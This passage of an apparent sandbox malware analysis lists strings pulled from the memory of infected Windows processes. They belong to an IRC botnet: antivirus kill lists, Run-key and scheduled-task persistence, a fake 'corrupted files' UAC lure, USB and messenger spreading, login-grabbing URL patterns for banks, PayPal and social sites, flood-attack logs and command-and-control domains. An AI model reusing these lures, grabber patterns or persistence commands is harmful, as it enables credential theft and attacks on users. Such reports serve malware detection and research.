exe</pre><pre>arcaclean.exe</pre><pre>BavUpdater.exe</pre><pre>rcfp.exe</pre><pre>CLPSLA.exe</pre><pre>op_mon.exe</pre><pre>niu.exe</pre><pre>K7TSUpdT.exe</pre><pre>sguardxup.exe</pre><pre>ccupdate.exe</pre><pre>caupdate.dll</pre><pre>a2guard.exe</pre><pre>a2start.exe</pre><pre>a2service.exe</pre><pre>AVKTray.exe</pre><pre>GDSC.exe</pre><pre>AVK.exe</pre><pre>GDFirewallTray.exe</pre><pre>Bka.exe</pre><pre>BLuPro.exe</pre><pre>BkavSystemServer.exe</pre><pre>BkavService.exe</pre><pre>LiveUpdate.dll</pre><pre>LiveConnect.dll</pre><pre>BaseFile\Bkav\LiveUpdate.dll</pre><pre>V3Lite.exe</pre><pre>ASDSvc.exe</pre><pre>autoup.exe</pre><pre>downloader.exe</pre><pre>%s.config</pre><pre>updatesrv.exe</pre><pre>updatemgr.dll</pre><pre>egui.exe</pre><pre>ekrn.exe</pre><pre>x86\ekrn.exe</pre><pre>uWinMgr.exe</pre><pre>coreServiceShell.exe</pre><pre>uiSeAgnt.exe</pre><pre>uiWatchDog.exe</pre><pre>plugins\plugUpdater.dll</pre><pre>UiFrmwrk\uiUpdateTray.exe</pre><pre>coreFrameworkHost.exe</pre><pre>mcagent.exe</pre><pre>McSvHost.exe</pre><pre>McUICnt.exe</pre><pre>McPvTray.exe</pre><pre>mcui_exe</pre><pre>mcpltui_exe</pre><pre>mcshell.exe</pre><pre>mcupdmgr.exe</pre><pre>mcupdate.exe</pre><pre>mcshield.exe</pre><pre>mcupdui.dll</pre><pre>McAPExe.exe</pre><pre>.config</pre><pre>Image File Execution Options\%s</pre><pre>SYSTEM\CurrentControlSet\services\%s</pre><pre>%c:\ntusbdriver.sys</pre><pre>%c:\*p.exe</pre><pre>%c:\%s</pre><pre>p.exe</pre><pre>%WinDir%\explorer.exe</pre><pre>/C start /d. %s&"%s"</pre><pre>%COMSPEC%</pre><pre>%WinDir%\system32\shell32.dll</pre><pre>%c:\%s.lnk</pre><pre>VisthAux.exe</pre><pre>explorer.exe</pre><pre>t.minecraft</pre><pre>Works! PID: %d, Name: %s</pre><pre>cmdvirth</pre><pre>%s%s\X</pre><pre>tcp://</pre><pre>svchost.exe</pre><pre>csrss.exe</pre><pre>lsass.exe</pre><pre>smss.exe</pre><pre>wscript.exe</pre><pre>cscript.exe</pre><pre>vbc.exe</pre><pre>rundll32.exe</pre><pre>regsvr32.exe</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</pre><pre>winlogon.exe</pre><pre>services.exe</pre><pre>%s\x.lnk</pre><pre>SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s</pre><pre>desktop.ini</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce</pre><pre>SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows</pre><pre>wintrust.dll</pre><pre>chrome.dll</pre><pre>Applications\iexplore.exe\shell\open\command</pre><pre>%s_xx</pre><pre>x.zip</pre><pre>Navw32.exe</pre><pre>SysInspector.exe</pre><pre>avscan.exe</pre><pre>mfefire.exe</pre><pre>wuauclt.exe</pre><pre>WerFault.exe</pre><pre>lFileZilla\sitemanager.xml</pre><pre>port</pre><pre>Sites.dat</pre><pre>Quick.dat</pre><pre>%s\3\%s</pre><pre>%s\4\%s</pre><pre>spoolsv.exe</pre><pre>steam.exe</pre><pre>skype.exe</pre><pre>origin.exe</pre><pre>dwm.exe</pre><pre>tapi3.dll</pre><pre>/C copy "%s" "%s"</pre><pre>SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run</pre><pre>Windows Update Service</pre><pre>"%s" /%s</pre><pre>Software\Microsoft\Windows\CurrentVersion\RunOnce</pre><pre>/CREATE /SC ONLOGON /TN "Windows Update Check - 0xX" /TR "%s" /RL HIGHEST</pre><pre>schtasks.exe</pre><pre>/DELETE /TN "Windows Update Check - 0xX" /F</pre><pre>\Windows\Explorer.exe</pre><pre>Low_X</pre><pre>%s.manifest</pre><pre>PendingFileRenameOperations</pre><pre>%s\X</pre><pre>Windows\CurrentVersion\Run</pre><pre>CurrentVersion\Windows</pre><pre>Windows NT\CurrentVersion\Image File Execution Options\%s</pre><pre>Windows has encountered a corrupted folder on your hard drive</pre><pre>Multiple corrupted files have been found in the folder 'My Documents'. To prevent serious loss of data, please allow Windows to restore these files.</pre><pre>Corrupted folder: %s</pre><pre>Corrupted file count: %d</pre><pre><a href=".ms">%s</a></pre><pre>/c start "" "%s" /%s "%s"</pre><pre>shell32,ShellExec_RunDLL "%s" /%s "%s"</pre><pre>You denied the proper privileges to the Windows file restoration utility. Please select YES on the following UAC prompt to allow Windows to restore the corrupted files.</pre><pre>Windows 3.1 Update Service</pre><pre>%s:Zone.Identifier</pre><pre>%s\X.pif</pre><pre>%WinDir%</pre><pre>%Documents and Settings%\%current user%</pre><pre>%Documents and Settings%\%current user%\Application Data</pre><pre>%Documents and Settings%\All Users\Application Data</pre><pre>%Documents and Settings%\%current user%\My Documents\My Pictures</pre><pre>%Documents and Settings%\%current user%\My Documents\My Music</pre><pre>%Documents and Settings%\%current user%\My Documents\My Videos</pre><pre>%Program Files%</pre><pre>%WinDir%\winsxs\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.0.0_x-ww_1382d70a\comctl32.dll</pre><pre>%WinDir%\explorer.exe</pre><pre>s\"%CurrentUserName%"\Local Settings\Temp\bett.exe</pre><pre>%Program Files%\Common Files\CreativeAudio\ezztxopie.exe</pre><pre>%Documents and Settings%\%current user%\0E7302EC.pif</pre><pre>%Program Files%\Common Files\CreativeAudio</pre><pre>bett.exe</pre><pre>%Documents and Settings%\%current user%\Low_00FEC012</pre><pre>ezztxopie.exe</pre><pre>0E7302EC.pif</pre><pre>KERNEL32.DLL</pre><pre>KERNELBASE.DLL</pre><pre>kernelbase.dll</pre><pre>5.42.37.0</pre><pre>Passage</pre><pre>Passage.exe</pre><b>svchost.exe_1904_rwx_00A10000_00029000:</b><pre>.text</pre><pre>`.data</pre><pre>.rsrc</pre><pre>@.reloc</pre><pre>*windows defender*</pre><pre>*windowsupdate*</pre><pre>*drweb*</pre><pre>dwwin.exe</pre><pre>kernel32.dll</pre><pre>iphlpapi.dll</pre><pre>GetExtendedTcpTable</pre><pre>GetOwnerModuleFromTcpEntry</pre><pre>%systemroot%</pre><pre>%programfiles%\Common Files\*\*.exe</pre><pre>%appdata%\Identities\*.exe</pre><pre>%root%\RECYCLER\S-1-5-21-0243556031-888888379-*\*.exe</pre><pre>ole32.dll</pre><pre>/c "%%SystemRoot%%\explorer.exe %Í%%%s & attrib -s -h %Í%%%s & xcopy /F /S /Q /H /R /Y %Í%%%s %%temp%%\%s\ & attrib s h %Í%%%s & start %%temp%%\%s\%s & exit"</pre><pre>/c "start %Í%%%s & attrib -s -h %Í%%%s & xcopy /F /S /Q /H /R /Y %Í%%%s %%temp%%\%s\ & attrib s h %Í%%%s & start %%temp%%\%s\%s & exit"</pre><pre>%ALLUSERSPROFILE%\..\..\windows\system32\cmd.exe</pre><pre>%SystemRoot%\system32\SHELL32.dll</pre><pre>%s\c731200</pre><pre>%s\%s</pre><pre>%s\%s.lnk</pre><pre>Windows_Shared_Mutex_231_c000100</pre><pre>ntdll.dll</pre><pre>\ScreenSaverPro.scr</pre><pre>\temp.bin</pre><pre>user32.dll</pre><pre>advapi32.dll</pre><pre>shell32.dll</pre><pre>urlmon.dll</pre><pre>wininet.dll</pre><pre>gdi32.dll</pre><pre>rpcrt4.dll</pre><pre>netapi32.dll</pre><pre>*.exe</pre><pre>.gonewiththewings</pre><pre>*.gonewiththewings</pre><pre>WinExec</pre><pre>URLDownloadToFileA</pre><pre>http://www.google.com</pre><pre>\calc.exe</pre><pre>\Reader_sl.exe</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</pre><pre>notepad.exe</pre><pre>\notepad.exe</pre><pre>\svchost.exe</pre><pre>WindowsId</pre><pre>Identities\%s</pre><pre>%s\%s\%s.exe</pre><pre>:Zone.Identifier</pre><pre>.quarantined</pre><pre>"%s" -shell</pre><pre>"%s" -bind</pre><pre>userinit.exe</pre><pre>explorer.exe</pre><pre>Windows critical error, require reboot</pre><pre>Windows Update</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>GetProcessHeap</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegOpenKeyA</pre><pre>RegEnumKeyA</pre><pre>RegCreateKeyExA</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ShellExecuteExW</pre><pre>SHELL32.dll</pre><pre>SetTcpEntry</pre><pre>SHLWAPI.dll</pre><pre>RPCRT4.dll</pre><pre>NETAPI32.dll</pre><pre>DNSAPI.dll</pre><pre>Software\Microsoft\Windows NT\CurrentVersion\Winlogon</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</pre><pre>Software\WindowsId Manager Reader</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\Explorer</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>Software\Microsoft\Windows\CurrentVersion\RunOnce</pre><pre>WindowsMark</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>%System%\notepad.exe</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0A</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked "%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pre><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: %d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>URLDownloadToFileW</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>RegNotifyChangeKeyValue</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: %s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>{A5DCBF10-6530-11D2-901F-00C04FB951ED}</pre><pre>shlwapi.dll</pre><pre>crypt32.dll</pre><pre>wtsapi32.dll</pre><pre>samcli.dll</pre><pre>netutils.dll</pre><pre>userenv.dll</pre><pre>WindowsSecondaryDesktop</pre><pre>\charmap.exe</pre><pre>\Windows Media Player\wmprph.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>Aadvapi32.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><b>calc.exe_1752:</b><pre>.text</pre><pre>`.data</pre><pre>.rsrc</pre><pre>SHELL32.dll</pre><pre>msvcrt.dll</pre><pre>ADVAPI32.dll</pre><pre>KERNEL32.dll</pre><pre>GDI32.dll</pre><pre>USER32.dll</pre><pre>hhctrl.ocx</pre><pre>CLSID\{ADB880A6-D8FF-11CF-9377-00AA003B7A11}\InprocServer32</pre><pre>calc.pdb</pre><pre>j.OXO</pre><pre>_acmdln</pre><pre>RegCloseKey</pre><pre>RegOpenKeyExA</pre><pre>name="Microsoft.Windows.Shell.calc"</pre><pre>version="5.1.0.0"</pre><pre><description>Windows Shell</description></pre><pre>name="Microsoft.Windows.Common-Controls"</pre><pre>version="6.0.0.0"</pre><pre>publicKeyToken="6595b64144ccf1df"</pre><pre>CalcMsgPumpWnd</pre><pre>The requested operation may take a very long time to complete.</pre><pre>Do you want to let the calculation continue, or stop the operation now?</pre><pre>Windows Calculator application file</pre><pre>5.1.2600.0 (xpclient.010817-1148)</pre><pre>CALC.EXE</pre><pre>Windows</pre><pre>Operating System</pre><pre>5.1.2600.0</pre><pre>Operation was canceled.-Calc does not have enough memory to continue.eThe requested function may take a very long time to complete.</pre><pre>Do you want to abort the operation now?</pre><pre>calc.hlp</pre><pre>Cannot open Clipboard.TThere is not enough memory for data.</pre><pre>calc.chm</pre><b>calc.exe_1752_rwx_000A0000_00002000:</b><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\</pre><pre>f507s.exe</pre><pre>3n0qo.exe</pre><pre>swiza.exe</pre><pre>xn1b2.exe</pre><pre>rr1ck.exe</pre><pre>c0fdr.exe</pre><pre>vigfn.exe</pre><pre>mth4j.exe</pre><pre>ei6jz.exe</pre><pre>3cjd0.exe</pre><pre>xg20t.exe</pre><pre>htyvo.exe</pre><pre>d3axv.exe</pre><pre>l7ekf.exe</pre><pre>oupga.exe</pre><pre>vo0lp.exe</pre><pre>aelf7.exe</pre><pre>r3y1y.exe</pre><pre>7221i.exe</pre><pre>user32.dll</pre><pre>urlmon.dll</pre><pre>URLDownloadToFileA</pre><pre>wininet.dll</pre><pre>http://www.google.com</pre><b>calc.exe_1752_rwx_00970000_0004E000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked "%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>kernel32.dll</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>ntdll.dll</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pre><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>shell32.dll</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: 